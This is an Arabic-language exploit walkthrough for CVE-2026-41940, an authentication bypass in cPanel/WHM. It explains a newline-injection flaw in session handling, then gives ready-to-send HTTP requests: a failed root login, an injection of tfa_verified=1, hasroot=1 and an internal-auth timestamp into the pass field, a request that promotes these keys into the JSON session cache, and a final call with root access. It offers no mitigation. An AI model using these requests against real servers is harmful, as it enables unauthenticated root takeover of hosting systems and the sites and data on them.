
استغلال لثغرة CVE-2026-41940، وهي تجاوز للمصادقة في cPanel/WHM، تتيح للمهاجمين غير المصادق عليهم الحصول على وصول جذر عبر حقن الجلسة وترقية ذاكرة التخزين المؤقت JSON.
CVE-2026-41940 هي ثغرة حرجة في تجاوز المصادقة في cPanel وWHM تؤثر على جميع الإصدارات المدعومة حالياً. تسمح للمهاجم غير المصادق بتجاوز المصادقة والحصول على وصول على مستوى الجذر (WHM) أو وصول على مستوى المستخدم (cPanel).
تنبع الثغرة من مشكلتين أساسيتين في Cpanel/Session.pm:
saveSession: لم تقم دالة saveSession بتعقيم المدخلات بشكل صحيح قبل كتابتها إلى ملف الجلسة على القرص. على وجه التحديد، فشلت في إزالة أحرف السطر الجديد (\n) من حقل pass.pass في ملف الجلسة باستخدام سر خاص بكل جلسة (ob). ومع ذلك، إذا كانت ملفات تعريف الارتباط الخاصة بالجلسة لا تحتوي على جزء ob (الجزء بعد الفاصلة)، يتم تخطي الترميز، وتُكتب قيمة pass كنص واضح.الاستغلال هو عملية متعددة الخطوات:
أرسل محاولة تسجيل دخول فاشلة لتحفيز إنشاء ملف جلسة على القرص.
POST /login/?login_only=1 HTTP/1.1
Host: target:2087
Content-Type: application/x-www-form-urlencoded
user=root&pass=anything
يستجيب الخادم بملف تعريف ارتباط whostmgrsession، على سبيل المثال: whostmgrsession=:Wg_mjzgt1hyfXefK,1bd3d4....
أرسل طلباً آخر باستخدام ملف تعريف ارتباط الجلسة ولكن قم بإزالة جزء ob (الفاصلة وكل ما بعدها). في حقل pass، قم بحقن مفاتيح الجلسة المطلوبة باستخدام أسطر جديدة.
POST /login/?login_only=1 HTTP/1.1
Host: target:2087
Cookie: whostmgrsession=:Wg_mjzgt1hyfXefK
Content-Type: application/x-www-form-urlencoded
user=root&pass=x%0atfa_verified=1%0ahasroot=1%0asuccessful_internal_auth_with_timestamp=1777462149
نظراً لغياب جزء ob، يقوم cpsrvd بكتابة قيمة pass بدون ترميز. تتسبب الأسطر الجديدة المحقونة في تفسير الأسطر اللاحقة كأزواج مفاتيح-قيم منفصلة في ملف الجلسة الخام.
يستخدم cPanel ذاكرة تخزين مؤقت JSON للجلسات. الحقن الخام موجود فقط في الملف النصي. لجعله "نشطاً"، يجب إجبار cPanel على إعادة قراءة الملف الخام وتحديث ذاكرة التخزين المؤقت JSON. يمكن القيام بذلك عن طريق تحفيز خطأ "Token Denied" على نقطة نهاية تستخدم Cpanel::Session::Modify.
GET /scripts2/listaccts HTTP/1.1
Host: target:2087
Cookie: whostmgrsession=:Wg_mjzgt1hyfXefK
يؤدي غياب رمز الأمان في عنوان URL إلى تحفيز do_token_denied، الذي يستخدم Cpanel::Session::Modify لتحديث عدد token_denied. يقوم Modify بقراءة الملف الخام (متجاوزاً ذاكرة التخزين المؤقت) ثم يكتب كلاً من الملف الخام وذاكرة التخزين المؤقت JSON، مما يرقّي المفاتيح المحقونة لدينا إلى المستوى الأعلى من ذاكرة التخزين المؤقت JSON.
الآن الجلسة "مصادق عليها" بالكامل في نظر cPanel. يتجاوز مفتاح successful_internal_auth_with_timestamp فحص /etc/shadow.
GET /cpsess[TOKEN]/json-api/version HTTP/1.1
Host: target:2087
Cookie: whostmgrsession=:Wg_mjzgt1hyfXefK
يمكن الحصول على [TOKEN] من حقل cp_security_token في الجلسة، والذي غالباً ما يتم إرجاعه في استجابة "Token Denied" أو يمكن العثور عليه من خلال فحص سلوك ملف تعريف ارتباط الجلسة.
tfa_verified=1: يتجاوز المصادقة الثنائية.hasroot=1: يمنح صلاحيات الجذر في WHM.successful_internal_auth_with_timestamp=[TIMESTAMP]: يتجاوز التحقق الفعلي من كلمة المرور مقابل ملف الظل للنظام.user=root: يضبط مستخدم الجلسة على الجذر.